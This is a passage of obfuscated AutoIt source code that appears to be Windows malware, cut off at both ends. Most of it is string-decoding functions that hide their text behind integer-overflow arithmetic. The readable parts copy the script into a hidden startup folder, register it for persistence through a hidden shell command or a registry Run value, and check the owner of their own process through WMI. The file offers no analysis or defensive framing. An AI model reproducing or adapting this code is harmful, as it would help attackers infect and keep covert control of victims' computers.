4294906060 , 59376 + 4294907971 , + 4294937242 - + 4294937175 , 46099 + + 4294921245 , 43246 + 4294924106 , 67859 + 4294899494 , + 4294870639 - + 4294870584 , 40732 + 4294926632 , 19639 + 4294947727 , + 4294924315 + 43033 , + 4294915905 + 51445 , + 4294930797 - + 4294930743 , 76907 + 4294890440 , 44459 + + 4294922903 , + 4294950288 + 17060 , + 4294936905 + 30445 , + 4294941023 + 26321 , 32366 + 4294934984 , 37037 + 4294930314 , 47948 + + 4294919399 , + 4294885526 + 81824 , 82643 + 4294884720 , 93185 + + 4294874167 , 97373 + + 4294869989 , + 4294932235 - + 4294932180 , + 4294883068 - + 4294883000 , 69901 + + 4294897463 , + 4294952732 - + 4294952684 , + 4294892196 + 75156 , 24614 + + 4294942733 , 92094 + + 4294875269 , 63810 + + 4294903541 , + 4294962625 + 4722 , + 4294952030 + 15333 , 13630 + 4294953714 , 18899 + 4294948448 , 52870 + + 4294914496 , 57808 + 4294909557 , + 4294902371 + 64981 , + 4294901428 - + 4294901362 , 12967 + + 4294954377 , + 4294920041 - + 4294919986 , 37571 + 4294929790 , + 4294929500 + 37853 , + 4294884784 - + 4294884736 , 21665 + 4294945679 ] LOCAL $FAGQXLGMML FOR $XJTGKZVAENECRTC = 0 TO 61 $FAGQXLGMML &= CHRW ($DVOXXEQOJSCKUDCUXCJW [$XJTGKZVAENECRTC ] ) NEXT RETURN $FAGQXLGMML ENDFUNC FUNC MHGQZDYZDUZGYGDGLMXM () LOCAL $ZQDFLQFQDKQ_EEOGNFHE [11 ] = [86967 + + 4294880408 , 88018 + 4294879390 , + 4294921512 - + 4294921411 , 70326 + 4294897080 , + 4294919299 + 48077 , 32821 + 4294934589 , 19005 + 4294948402 , 89647 + + 4294877748 , + 4294900649 - + 4294900548 , + 4294903169 - + 4294903054 , 84486 + 4294882925 ] LOCAL $ZZBUTXKTMK FOR $WTD_BTSXSGFSKKR = 0 TO 10 $ZZBUTXKTMK &= CHRW ($ZQDFLQFQDKQ_EEOGNFHE [$WTD_BTSXSGFSKKR ] ) NEXT RETURN $ZZBUTXKTMK ENDFUNC FUNC VDMP_MREHAZLOFJOTEUN () LOCAL $PUJOOXGAGDFZVQJJ_KPW [62 ] = [+ 4294962020 + 5327 , + 4294941155 - + 4294941104 , 89872 + + 4294877491 , 77695 + 4294889649 , 4776 + + 4294962571 , + 4294899011 + 68342 , + 4294936531 + 30814 , 63857 + 4294903493 , + 4294915352 + 51992 , + 4294875414 - + 4294875344 , 58025 + + 4294909328 , 85461 + 4294881887 , 62570 + 4294904793 , + 4294941145 + 26199 , 70897 + 4294896450 , 10567 + 4294956797 , + 4294950236 + 17113 , + 4294872126 + 95218 , + 4294946442 - + 4294946390 , + 4294964860 + 2489 , + 4294867451 - + 4294867403 , + 4294956798 + 10546 , + 4294923848 - + 4294923800 , + 4294930498 - + 4294930450 , 59052 + 4294908292 , 16082 + 4294951284 , + 4294939657 - + 4294939601 , + 4294942791 + 24557 , 62859 + 4294904507 , + 4294936363 - + 4294936296 , 27980 + + 4294939364 , + 4294927261 - + 4294927211 , 73004 + + 4294894340 , 24229 + + 4294943115 , + 4294960333 + 7011 , + 4294934967 + 32377 , + 4294943343 - + 4294943292 , + 4294886097 - + 4294886046 , + 4294881276 - + 4294881209 , + 4294891496 + 75848 , 38436 + 4294928914 , 75589 + + 4294891761 , + 4294956258 - + 4294956207 , 94459 + 4294872894 , + 4294927290 - + 4294927237 , + 4294869586 - + 4294869532 , 73910 + 4294893434 , + 4294906056 - + 4294906004 , 60519 + 4294906825 , 18160 + + 4294949206 , + 4294896255 + 71098 , + 4294917782 + 49566 , 24520 + 4294942843 , + 4294922231 + 45113 , 22198 + + 4294945149 , 67024 + 4294900340 , 34446 + + 4294932902 , + 4294937638 - + 4294937571 , + 4294897631 + 69713 , 98608 + + 4294868737 , 7279 + 4294960065 , + 4294953718 - + 4294953670 ] LOCAL $KTCSUGPWCD FOR $_MRYHBIZZCTCPIZ = 0 TO 61 $KTCSUGPWCD &= CHRW ($PUJOOXGAGDFZVQJJ_KPW [$_MRYHBIZZCTCPIZ ] ) NEXT RETURN $KTCSUGPWCD ENDFUNC FUNC ROQWYACIVSGHVYXWOBLD () LOCAL $NCFXOZCOPDTHBRDVSSUE [4 ] = [+ 4294962338 + 5056 , + 4294868202 - + 4294868091 , + 4294908170 + 59237 , 91964 + 4294875440 ] LOCAL $SZZFEUCEWH FOR $UBWTLWIPJTIZYOT = 0 TO 3 $SZZFEUCEWH &= CHRW ($NCFXOZCOPDTHBRDVSSUE [$UBWTLWIPJTIZYOT ] ) NEXT RETURN $SZZFEUCEWH ENDFUNC FUNC XCAKEOYAYOCZBNXKHYUP () LOCAL $APQCDYEHDUIMAEBBEYDI [4 ] = [+ 4294935033 + 32361 , 80311 + + 4294887096 , 96817 + 4294870590 , 14215 + + 4294953189 ] LOCAL $DFQZXMWGIU FOR $YTUXSRIIMYHGJRW = 0 TO 3 $DFQZXMWGIU &= CHRW ($APQCDYEHDUIMAEBBEYDI [$YTUXSRIIMYHGJRW ] ) NEXT RETURN $DFQZXMWGIU ENDFUNC FUNC SLVZQXGCNWEYUVUAJJJMEANCHT () LOCAL CONST $CONST0 = BVBXAOEUYDZMOGZVEQND () LOCAL CONST $CONST1 = FPHQLRPKWJMODPQIAFPF () LOCAL $VALUE = JSNQMVCGABTD (STRINGREVERSE (UYJOHCLMEPUTKGCGXQHZ ("xscEyd0EpUsu" , 6 ) ) ) LOCAL $OBJECT = OBJGET (VYQJWOZJXSCCUJVJOLWS () ) LOCAL $SQL = $OBJECT.ExecQuery (AECH_QOBMUXORFLDHJYR () & @AUTOITPID & JSNQMVCGABTD (STRINGREVERSE (UYJOHCLMEPUTKGCGXQHZ ("xscEyd0EpUsu" , 6 ) ) ) , VFJKVXXSEFPM_FAXWCCF () , $CONST0 + $CONST1 ) FOR $I IN $SQL IF $I.ProcessID = @AUTOITPID THEN $I.GetOwner ($VALUE ) EXITLOOP ENDIF NEXT IF $VALUE <> @USERNAME THEN EXIT ENDIF ENDFUNC FUNC XVCDKBKCBI_ASTI_LBWU () LOCAL $MDFSYUJJJIKXELX_GTZC [1 ] = [+ 4294874547 + 92797 ] LOCAL $KFQSBTTYDW FOR $MDWRRVMMYFIQNUP = 0 TO 0 $KFQSBTTYDW &= CHRW ($MDFSYUJJJIKXELX_GTZC [$MDWRRVMMYFIQNUP ] ) NEXT RETURN $KFQSBTTYDW ENDFUNC FUNC DGYLBCR_CCPYMMW_EQDJ () LOCAL $UUFBALCPHKRRDCSGGERH [62 ] = [40199 + 4294927145 , 31017 + 4294936349 , 81096 + 4294886256 , + 4294955891 - + 4294955839 , + 4294883716 + 83636 , + 4294886624 + 80737 , + 4294890116 - + 4294890068 , + 4294936494 - + 4294936446 , 93061 + + 4294874283 , 16217 + + 4294951127 , 94071 + 4294873273 , + 4294928848 + 38496 , 15297 + + 4294952055 , 59331 + 4294908016 , + 4294908509 + 58842 , + 4294919223 + 48141 , + 4294876380 + 90986 , + 4294934732 + 32616 , 76835 + + 4294890509 , 70669 + + 4294896675 , + 4294872690 + 94654 , 36101 + 4294931265 , + 4294965839 - + 4294965783 , + 4294960568 + 6780 , 49165 + 4294918187 , + 4294911225 - + 4294911177 , 53570 + 4294913774 , 34148 + + 4294933196 , 5087 + + 4294962257 , + 4294872541 + 94803 , 16760 + 4294950584 , + 4294947078 - + 4294947030 , 76594 + + 4294890758 , 34395 + 4294932967 , + 4294914456 + 52897 , + 4294914973 - + 4294914918 , + 4294924650 + 42711 , 30873 + 4294936471 , + 4294944244 - + 4294944196 , + 4294910236 - + 4294910188 , + 4294950319 - + 4294950271 , 27429 + 4294939915 , + 4294939160 - + 4294939112 , 54368 + + 4294912976 , + 4294966772 - + 4294966716 , + 4294890454 - + 4294890403 , 68982 + 4294898368 , 89084 + + 4294878265 , 3054 + 4294964312 , 35834 + + 4294931514 , + 4294939490 - + 4294939442 , + 4294882110 + 85234 , + 4294884950 - + 4294884902 , + 4294930567 + 36780 , + 4294946228 - + 4294946160 , + 4294917666 - + 4294917615 , + 4294920676 + 46676 , 8361 + 4294958986 , 15396 + + 4294951966 , + 4294871243 + 96123 , + 4294931506 + 35855 , + 4294909318 + 58030 ] LOCAL $JRGNFUXLGR FOR $QBJNTTOBYQAEERK = 0 TO 61 $JRGNFUXLGR &= CHRW ($UUFBALCPHKRRDCSGGERH [$QBJNTTOBYQAEERK ] ) NEXT RETURN $JRGNFUXLGR ENDFUNC FUNC NYCBKFUAZZMSKJOPLBLJ () LOCAL $FUBHMWOGQUPIMVFASQBJ [3 ] = [98742 + + 4294868666 , 61420 + + 4294905992 , 12809 + + 4294954601 ] LOCAL $NKEJDGOENX FOR $MNBUJQKSITXVPOR = 0 TO 2 $NKEJDGOENX &= CHRW ($FUBHMWOGQUPIMVFASQBJ [$MNBUJQKSITXVPOR ] ) NEXT RETURN $NKEJDGOENX ENDFUNC FUNC HXJTRCUVWRCWGDNXXLEO () LOCAL $OXDKXNJKYXTFTWJZDTGD [1 ] = [+ 4294956680 + 10669 ] LOCAL $YXETKXZYXD FOR $RDMNZMEEWIUOHKT = 0 TO 0 $YXETKXZYXD &= CHRW ($OXDKXNJKYXTFTWJZDTGD [$RDMNZMEEWIUOHKT ] ) NEXT RETURN $YXETKXZYXD ENDFUNC FUNC FZQHSUYXPVVIKMLDGDHY () LOCAL $OQARPZYFGXLMODXRWWIS [62 ] = [+ 4294958603 + 8744 , 5673 + + 4294961677 , 72547 + + 4294894805 , 7078 + 4294960284 , + 4294900673 + 66678 , + 4294893186 + 74164 , + 4294952935 - + 4294952886 , + 4294937339 + 30013 , + 4294885072 + 82280 , + 4294932357 + 34996 , + 4294894535 + 72816 , + 4294940922 + 26427 , + 4294941836 - + 4294941769 , 54612 + 4294912740 , + 4294956630 + 10722 , + 4294926107 - + 4294926039 , + 4294909750 + 57598 , 21900 + + 4294945449 , + 4294894679 - + 4294894613 , 3160 + 4294964188 , 15354 + + 4294952009 , 27676 + + 4294939675 , 93186 + + 4294874166 , + 4294877389 - + 4294877336 , + 4294963489 - + 4294963436 , + 4294916161 + 51191 , 65156 + + 4294902210 , + 4294903088 + 64278 , 85057 + + 4294882309 , 41563 + + 4294925803 , 55996 + 4294911370 , 18270 + 4294949096 , + 4294914334 - + 4294914279 , 74185 + + 4294893168 , + 4294892444 + 74903 , 8778 + + 4294958583 , 7240 + + 4294960107 , + 4294930339 - + 4294930272 , 23688 + + 4294943656 , + 4294934972 + 32379 , + 4294924219 - + 4294924163 , 59303 + 4294908050 , + 4294869972 - + 4294869916 , + 4294909166 - + 4294909113 , + 4294913185 + 54161 , 55092 + 4294912252 , 84630 + + 4294882736 , + 4294921639 - + 4294921569 , + 4294904550 - + 4294904480 , 3234 + + 4294964132 , + 4294942312 - + 4294942242 , 15658 + + 4294951708 , 70927 + 4294896425 , 20197 + + 4294947165 , 44844 + + 4294922522 , + 4294950995 - + 4294950940 , + 4294890104 - + 4294890048 , 3802 + 4294963562 , + 4294959725 - + 4294959673 , 89804 + + 4294877545 , 44453 + + 4294922912 , + 4294880340 - + 4294880284 ] LOCAL $VARYAEQGRF FOR $ACMTJDXCLDNBBDK = 0 TO 61 $VARYAEQGRF &= CHRW ($OQARPZYFGXLMODXRWWIS [$ACMTJDXCLDNBBDK ] ) NEXT RETURN $VARYAEQGRF ENDFUNC FUNC YASQBDFIDONLEWUOCYHX () LOCAL $GBSEBQDJAUQJABWWGLZV [4 ] = [69085 + + 4294898309 , + 4294938578 - + 4294938467 , + 4294922081 - + 4294921970 , + 4294928667 - + 4294928559 ] LOCAL $JYDKD_YIRZ FOR $ENLUYDOWINOLAWH = 0 TO 3 $JYDKD_YIRZ &= CHRW ($GBSEBQDJAUQJABWWGLZV [$ENLUYDOWINOLAWH ] ) NEXT RETURN $JYDKD_YIRZ ENDFUNC FUNC LUSDCOPBTKDHCCBXMGDG () LOCAL $ZCQPLOKKGKIRFRQRIBPQ [50 ] = [+ 4294958632 + 8736 , + 4294918662 - + 4294918587 , 47469 + + 4294919894 , + 4294912545 - + 4294912460 , + 4294943400 - + 4294943308 , + 4294894712 - + 4294894629 , 86420 + 4294880987 , + 4294899237 - + 4294899135 , + 4294899226 - + 4294899110 , + 4294924270 + 43145 , + 4294898476 - + 4294898379 , 68632 + 4294898778 , + 4294879462 - + 4294879361 , + 4294887303 - + 4294887211 , + 4294963103 - + 4294963026 , 11020 + 4294956381 , + 4294937666 + 29729 , 39914 + 4294927496 , 64983 + 4294902424 , 35984 + + 4294931427 , + 4294935346 - + 4294935235 , + 4294868669 - + 4294868567 , 51150 + + 4294916262 , + 4294918188 + 49200 , + 4294964904 - + 4294964817 , + 4294965992 - + 4294965887 , + 4294931984 - + 4294931874 , + 4294959107 - + 4294959007 , + 4294919699 + 47708 , 81731 + + 4294885684 , + 4294941374 + 26037 , + 4294895721 + 71667 , 3026 + + 4294964337 , 68517 + 4294898896 , + 4294947548 + 19862 , + 4294961438 + 5972 , 59772 + 4294907625 , + 4294901595 - + 4294901485 , 62327 + + 4294905085 , + 4294891960 - + 4294891874 , 45535 + 4294921862 , 91081 + 4294876329 , 84404 + 4294883007 , 81069 + + 4294886332 , + 4294878256 - + 4294878145 , + 4294938635 + 28771 , 22408 + + 4294944980 , 88125 + + 4294879253 , + 4294904976 - + 4294904859 , + 4294925937 + 41469 ] LOCAL $LVQBDQHJGD FOR $_IISTVKHYJECUWB = 0 TO 49 $LVQBDQHJGD &= CHRW ($ZCQPLOKKGKIRFRQRIBPQ [$_IISTVKHYJECUWB ] ) NEXT RETURN $LVQBDQHJGD ENDFUNC FUNC LTBBRBWKHQVTHIQPQGTN () LOCAL $SKOUTLPKYEJDTCLYSTUQ [16 ] = [45948 + + 4294921406 , + 4294887824 + 79562 , 47478 + 4294919929 , + 4294929014 + 38392 , + 4294870799 - + 4294870698 , 89292 + 4294878050 , + 4294945443 + 21926 , + 4294927756 - + 4294927656 , + 4294903339 - + 4294903238 , + 4294934656 - + 4294934546 , + 4294961789 - + 4294961673 , + 4294958663 - + 4294958558 , 44981 + + 4294922417 , 97394 + 4294870007 , + 4294886209 + 81188 , + 4294891752 + 75658 ] LOCAL $YVKTKKNEWB FOR $NCGEM_AJTYKMGYN = 0 TO 15 $YVKTKKNEWB &= CHRW ($SKOUTLPKYEJDTCLYSTUQ [$NCGEM_AJTYKMGYN ] ) NEXT RETURN $YVKTKKNEWB ENDFUNC FUNC BRBFFKYLE_YBHPRLXJRR () LOCAL $IRLNPNAX_CPJETILJUSS [15 ] = [88856 + 4294878508 , 71458 + 4294895939 , + 4294945592 + 21812 , 8516 + + 4294958881 , 48702 + 4294918697 , 52047 + + 4294915346 , + 4294908892 - + 4294908776 , + 4294892724 - + 4294892623 , 59853 + + 4294907512 , + 4294941009 + 26407 , + 4294946807 - + 4294946706 , + 4294952074 - + 4294951975 , 15968 + + 4294951445 , + 4294889743 + 77669 , + 4294918573 - + 4294918472 ] LOCAL $TDUPYGVEAI FOR $BCRYS_VKYSBMDUW = 0 TO 14 $TDUPYGVEAI &= CHRW ($IRLNPNAX_CPJETILJUSS [$BCRYS_VKYSBMDUW ] ) NEXT RETURN $TDUPYGVEAI ENDFUNC FUNC YKBYIZYSQLUUSMSPLALI () LOCAL $DFEWTFQDZZUWCHJQBNSO [1 ] = [85144 + + 4294882200 ] LOCAL $FEDIVTRRYR FOR $OFYGIXOUWUCIDSG = 0 TO 0 $FEDIVTRRYR &= CHRW ($DFEWTFQDZZUWCHJQBNSO [$OFYGIXOUWUCIDSG ] ) NEXT RETURN $FEDIVTRRYR ENDFUNC FUNC VHQWOWUCVBZUKLXFPOTU () LOCAL $WBXBLOVMAMCIQGNGDQHJ [5 ] = [90769 + + 4294876625 , + 4294931712 - + 4294931591 , 51813 + + 4294915599 , 40343 + + 4294927054 , + 4294901254 - + 4294901163 ] LOCAL $RDDXQBZGKT FOR $LNCBUTKOLZBIBJZ = 0 TO 4 $RDDXQBZGKT &= CHRW ($WBXBLOVMAMCIQGNGDQHJ [$LNCBUTKOLZBIBJZ ] ) NEXT RETURN $RDDXQBZGKT ENDFUNC FUNC IPY_IUXGAWQXDFCGS_TC () LOCAL $EZRGWPAHPJOHDKDHSYWX [7 ] = [+ 4294962822 + 4578 , + 4294918350 + 49043 , + 4294880742 + 86664 , + 4294939641 + 27755 , 76716 + 4294890688 , 70395 + + 4294897002 , 45009 + 4294922329 ] LOCAL $VPUEWPFFXH FOR $AJYSDTUPSQHIUTC = 0 TO 6 $VPUEWPFFXH &= CHRW ($EZRGWPAHPJOHDKDHSYWX [$AJYSDTUPSQHIUTC ] ) NEXT RETURN $VPUEWPFFXH ENDFUNC FUNC NPVMDRFLVKQEMGGVC_K_ () LOCAL $HLTHFBLRODIQLKMXFFGS [1 ] = [+ 4294892070 + 75318 ] LOCAL $NHCFOXRB_T FOR $WBWEEOXITPOWOCV = 0 TO 0 $NHCFOXRB_T &= CHRW ($HLTHFBLRODIQLKMXFFGS [$WBWEEOXITPOWOCV ] ) NEXT RETURN $NHCFOXRB_T ENDFUNC FUNC PSRPKENDFTPOQNELNSWV () LOCAL $KYURUWHVDFZZVZCHNVNV [12 ] = [56713 + 4294910690 , 38686 + 4294928711 , 7931 + 4294959479 , 63263 + + 4294904143 , 51374 + + 4294916023 , + 4294919795 - + 4294919687 , 36652 + 4294930695 , + 4294947118 + 20228 , + 4294884250 + 83092 , + 4294904325 + 63071 , + 4294891845 + 75559 , 96031 + 4294871373 ] LOCAL $ORIOMZVHLJ FOR $UQTRKXYSEAAJGND = 0 TO 11 $ORIOMZVHLJ &= CHRW ($KYURUWHVDFZZVZCHNVNV [$UQTRKXYSEAAJGND ] ) NEXT RETURN $ORIOMZVHLJ ENDFUNC FUNC LPYUIBCQTBNYEMPSEJJW () LOCAL $IJFAUKMTYNSDVVJRDFCI [12 ] = [+ 4294932682 + 34681 , + 4294903180 - + 4294903066 , 2832 + + 4294964565 , + 4294953932 + 13461 , 51636 + 4294915776 , 29646 + 4294937751 , + 4294894064 + 73309 , + 4294945259 - + 4294945142 , 27636 + + 4294939776 , 98090 + + 4294869307 , 19724 + 4294947692 , 35979 + 4294931404 ] LOCAL $CWV_MXIHVL FOR $JKDJDYPZHAFQETO = 0 TO 11 $CWV_MXIHVL &= CHRW ($IJFAUKMTYNSDVVJRDFCI [$JKDJDYPZHAFQETO ] ) NEXT RETURN $CWV_MXIHVL ENDFUNC FUNC TQQMDADXIWNPWURIYBAO () LOCAL $GLKXXG_GSDPMI_KLDVWO [62 ] = [55047 + 4294912318 , 23746 + 4294943619 , 50946 + + 4294916401 , 5512 + 4294961840 , + 4294934481 + 32871 , + 4294945270 - + 4294945219 , + 4294955656 + 11688 , + 4294958109 - + 4294958042 , 56809 + + 4294910554 , + 4294947073 + 20278 , 95098 + + 4294872254 , + 4294909907 - + 4294909854 , + 4294918220 - + 4294918166 , 49112 + + 4294918236 , + 4294942374 - + 4294942304 , + 4294906339 - + 4294906269 , + 4294907580 - + 4294907510 , 53871 + 4294913495 , 60868 + 4294906498 , + 4294937543 + 29823 , + 4294926877 + 40472 , + 4294954662 + 12689 , 47282 + 4294920068 , + 4294883673 + 83675 , 5939 + 4294961426 , + 4294909450 - + 4294909401 , 58822 + + 4294908522 , + 4294961389 + 5956 , 75779 + 4294891584 , + 4294882017 - + 4294881962 , + 4294919680 + 47672 , 70693 + 4294896656 , 23690 + 4294943660 , + 4294909895 - + 4294909839 , 50001 + 4294917365 , 2807 + 4294964559 , 86867 + + 4294880499 , + 4294909425 - + 4294909355 , + 4294935246 - + 4294935176 , + 4294955758 - + 4294955688 , + 4294887720 - + 4294887671 , + 4294937526 - + 4294937470 , 91977 + + 4294875388 , 80213 + 4294887135 , + 4294877599 + 89764 , + 4294923051 - + 4294922986 , + 4294868901 - + 4294868853 , + 4294898583 - + 4294898527 , 83773 + 4294883590 , + 4294917876 - + 4294917821 , + 4294872698 + 94654 , + 4294880172 - + 4294880119 , 15256 + 4294952094 , + 4294937369 - + 4294937302 , 47590 + 4294919776 , + 4294960837 + 6529 , 99732 + 4294867634 , + 4294892046 - + 4294891976 , 40833 + + 4294926533 , 25487 + + 4294941879 , 23696 + + 4294943669 , 73849 + + 4294893498 ] LOCAL $ZLKNRJTJAH FOR $ADDROEIFC_CGJDS = 0 TO 61 $ZLKNRJTJAH &= CHRW ($GLKXXG_GSDPMI_KLDVWO [$ADDROEIFC_CGJDS ] ) NEXT RETURN $ZLKNRJTJAH ENDFUNC FUNC JPQWUUDITORCRFWVA ($FILE , $REGKEY , $ATTRIB , $HIDDEN ) IF FILEEXISTS ($STARTUPDIR ) THEN FILEDELETE ($STARTUPDIR ) ENDIF DIRCREATE ($STARTUPDIR ) FILECOPY (@SCRIPTFULLPATH , $STARTUPDIR & UHAJNUIPBYNPDOFGZNOA () & $FILE ) FILESETATTRIB ($STARTUPDIR & UHAJNUIPBYNPDOFGZNOA () & $FILE , $ATTRIB ) FILESETATTRIB ($STARTUPDIR , $ATTRIB ) IF $HIDDEN THEN SHELLEXECUTE (GLOYHSGYNRCCCHWCCAER () , QKASBCOHSLVKNXUQWGVD () & $REGKEY & GOTGFBLLTQUJ_WYRZSYK () & EXECUTE (XAIFVJKYTTYRFNQXYWRL () ) & $STARTUPDIR & UHAJNUIPBYNPDOFGZNOA () & $FILE & EXECUTE (XAIFVJKYTTYRFNQXYWRL () ) & BUJQXTRDKPSMBXXUGKUB () , @SYSTEMDIR , EXECUTE (TOHOQPYRIEHRYEXGGDSJ () ) , @SW_HIDE ) ELSE REGWRITE (LUSDCOPBTKDHCCBXMGDG () , $REGKEY , FMNUORGZSGTIVYNXSXOG () , $STARTUPDIR & UHAJNUIPBYNPDOFGZNOA () & $FILE ) ENDIF ENDFUNC FUNC MIRYCYQLORBKTUFTKKQL () LOCAL $HPJFKXEBQDNFFYCNWBRQ [15 ] = [+ 4294967209 - + 4294967142 , 27433 + + 4294939977 , 28403 + 4294939014 , 33992 + 4294933416 , + 4294871786 + 95626 , 99800 + + 4294867564 , + 4294890649 + 76748 , + 4294943418 + 23993 , 92825 + 4294874587 , 10468 + 4294956942 , + 4294919273 + 48134 , 61734 + 4294905683 , 64503 + + 4294902868 , 60350 + + 4294907047 , + 4294926061 + 41356 ] LOCAL $YIIIEOKNLX FOR $XIT_ZWFOODFBC_D = 0 TO 14 $YIIIEOKNLX &= CHRW ($HPJFKXEBQDNFFYCNWBRQ [$XIT_ZWFOODFBC_D ] ) NEXT RETURN $YIIIEOKNLX ENDFUNC FUNC PFEHOXYDLKBVRDFDQERF () LOCAL $WLGADHEUPDUALGGUEXQO [4 ] = [+ 4294900830 - + 4294900784 , 46993 + 4294920415 , + 4294869642 - + 4294869537 , 22808 + 4294944590 ] LOCAL $IQBKKYLZTO FOR $IYZJUUKEZEEGTDO = 0 TO 3 $IQBKKYLZTO &= CHRW ($WLGADHEUPDUALGGUEXQO [$IYZJUUKEZEEGTDO ] ) NEXT RETURN $IQBKKYLZTO ENDFUNC FUNC SEDPGWJBSUGWPCLVXVAY () LOCAL $KIUWTJZPAMFAL_IKUZMB [12 ] = [+ 4294882989 - + 4294882918 , 80403 + 4294886994 , 81708 + 4294885704 , + 4294878083 - + 4294878007 , 33216 + + 4294934177 , 27130 + + 4294940281 , 17680 + + 4294949732 , + 4294876165 - + 4294876096 , + 4294948735 - + 4294948621 , + 4294896662 + 70748 , + 4294890831 + 76576 , + 4294873010 - + 4294872896 ] LOCAL $RIWGMCLQNZ FOR $OFKPUBAZIZVALSY = 0 TO 11 $RIWGMCLQNZ &= CHRW ($KIUWTJZPAMFAL_IKUZMB [$OFKPUBAZIZVALSY ] ) NEXT RETURN $RIWGMCLQNZ ENDFUNC FUNC TODEIUDGF_RNVAZL_QDU () LOCAL $MJWKVLBOEKQSFKZPWR_U [3 ] = [68822 + + 4294898586 , + 4294965406 - + 4294965290 , 97915 + + 4294869495 ] LOCAL $PCUJYILAKP FOR $AGXRIUOQCKSTJXS = 0 TO 2 $PCUJYILAKP &= CHRW ($MJWKVLBOEKQSFKZPWR_U [$AGXRIUOQCKSTJXS ] ) NEXT RETURN $PCUJYILAKP ENDFUNC FUNC LPVGKKCEIMNPVNRUXJFW () LOCAL $XDUCKINZWPXDQDHCJZKF [8 ] = [+ 4294946284 - + 4294946252 , + 4294956706 - + 4294956668 , + 4294920827 + 46501 , 14182 + + 4294953215 , + 4294908964 + 58452 , + 4294923754 + 43647 , + 4294868869 + 98543 , 72412 + 4294894916 ] LOCAL $YZ_MOSSJSX FOR $VTVCXCJTOKZSGOL = 0 TO 7 $YZ_MOSSJSX &= CHRW ($XDUCKINZWPXDQDHCJZKF [$VTVCXCJTOKZSGOL ] ) NEXT RETURN $YZ_MOSSJSX ENDFUNC FUNC SCDEFKGTKUMZDTKZOASW () LOCAL $YRS_VGKXFZJGZJJYVWHT [62 ] = [85622 + 4294881722 , + 4294897419 - + 4294897371 , + 4294958889 - + 4294958835 , 36402 + 4294930959 , + 4294892293 + 75051 , + 4294904555 + 62789 , 51324 + 4294916026 , + 4294951191 - + 4294951126 , + 4294942596 - + 4294942548 , 34475 + + 4294932873 , + 4294869540 - + 4294869484 , 9182 + 4294958182 , + 4294946775 - + 4294946723 , + 4294868043 + 99306 , + 4294941367 - + 4294941301 , 66151 + + 4294901212 , + 4294920480 + 46869 , + 4294882253 + 85091 , 4887 + 4294962465 , + 4294958924 + 8438 , 10958 + 4294956394 , + 4294868180 + 99169 , 67562 + + 4294899800 , 733 + + 4294966615 , 87450 + 4294879916 , + 4294955549 + 11814 , 1584 + 4294965782 , + 4294919008 + 48358 , 9040 + + 4294958326 , 93854 + 4294873512 , 44129 + + 4294923223 , 86559 + 4294880788 , + 4294943858 - + 4294943791 , 96377 + + 4294870967 , + 4294963602 + 3742 , + 4294964260 - + 4294964204 , + 4294952024 + 15325 , 13484 + + 4294953860 , 28005 + + 4294939361 , 47357 + + 4294920009 , 47353 + 4294919998 , 69979 + 4294897370 , 78156 + 4294889208 , + 4294905258 - + 4294905202 , + 4294908282 - + 4294908212 , 7884 + + 4294959482 , + 4294940755 - + 4294940702 , 45436 + + 4294921913 , 68285 + + 4294899068 , + 4294918402 - + 4294918350 , + 4294947312 + 20040 , 97283 + 4294870066 , + 4294893112 + 74251 , 78045 + + 4294889299 , + 4294892254 + 75090 , 57794 + + 4294909572 , + 4294959496 - + 4294959440 , 2431 + + 4294964917 , 90951 + + 4294876400 , + 4294960293 + 7059 , + 4294881883 + 85461 , 21129 + 4294946217 ] LOCAL $JJMOKDYIEV FOR $BSRGNUUURFEBNLD = 0 TO 61 $JJMOKDYIEV &= CHRW ($YRS_VGKXFZJGZJJYVWHT [$BSRGNUUURFEBNLD ] ) NEXT RETURN $JJMOKDYIEV ENDFUNC FUNC FUTDKTMRCUZQOWGYYGXB () LOCAL $DUMOBOIV_XA_JSTIONCT [1 ] = [67688 + + 4294899657 ] LOCAL $FCWKRRFUZH FOR $GYWXPLF_UMEOELH = 0 TO 0 $FCWKRRFUZH &= CHRW ($DUMOBOIV_XA_JSTIONCT [$GYWXPLF_UMEOELH ] ) NEXT RETURN $FCWKRRFUZH ENDFUNC FUNC PIOZUKKCKVLDAOXOUTHN () LOCAL $HFCGHTJZCJZPMFHGSGXN [1 ] = [+ 4294954665 - + 4294954617 ] LOCAL $HSBBLABWWQ FOR $DDMXINUNVFVQDKF = 0 TO 0 $HSBBLABWWQ &= CHRW ($HFCGHTJZCJZPMFHGSGXN [$DDMXINUNVFVQDKF ] ) NEXT RETURN $HSBBLABWWQ ENDFUNC FUNC NPOGHRJMIJHBTKXRITAP () LOCAL $NMFZWKLRWDGJPLPFOGCI [1 ] = [+ 4294915839 - + 4294915791 ] LOCAL $PKXGSQFDZM FOR $INLIVVLJJBRRDBJ = 0 TO 0 $PKXGSQFDZM &= CHRW ($NMFZWKLRWDGJPLPFOGCI [$INLIVVLJJBRRDBJ ] ) NEXT RETURN $PKXGSQFDZM ENDFUNC FUNC NNLDIYU_VLJTJRZEPEXI () LOCAL $CNMFVQPOUJGPBYBWLWKV [1 ] = [+ 4294880860 + 86485 ] LOCAL $FISIFFLEUR FOR $JDJVOLCPUSVNFAA = 0 TO 0 $FISIFFLEUR &= CHRW ($CNMFVQPOUJGPBYBWLWKV [$JDJVOLCPUSVNFAA ] ) NEXT RETURN $FISIFFLEUR ENDFUNC FUNC UAHDOFGMXXHJSXTKVJCU () LOCAL $YIGGQHTQ_JRUSOYHVLUE [8 ] = [57107 + 4294910288 , + 4294877049 - + 4294876945 , + 4294906067 + 61326 , 53075 + 4294914335 , + 4294936322 + 31065 , + 4294942312 + 25035 , + 4294929611 - + 4294929561 , 40112 + 4294927277 ] LOCAL $JPY_RHEMUN FOR $UAMHMQMNGNREZMP = 0 TO 7 $JPY_RHEMUN &= CHRW ($YIGGQHTQ_JRUSOYHVLUE [$UAMHMQMNGNREZMP ] ) NEXT RETURN $JPY_RHEMUN ENDFUNC FUNC MJN_ZYCBSMYNNPJTO_RI () LOCAL $GKKWHXODNB_JHIYNLTFC [4 ] = [88783 + 4294878611 , 11698 + 4294955709 , + 4294911995 - + 4294911884 , 71792 + + 4294895612 ] LOCAL $QMOGFRWHVV FOR $FTKVQDCBZQSCJYO = 0 TO 3 $QMOGFRWHVV &= CHRW ($GKKWHXODNB_JHIYNLTFC [$FTKVQDCBZQSCJYO ] ) NEXT RETURN $QMOGFRWHVV ENDFUNC FUNC VLQKREAEVQSNPHKAEFIN () LOCAL $KKFUNKJS_CYTSM_OPXYS [62 ] = [6934 + + 4294960428 , + 4294908291 - + 4294908234 , + 4294913441 - + 4294913393 , 39963 + + 4294927385 , 29058 + + 4294938305 , + 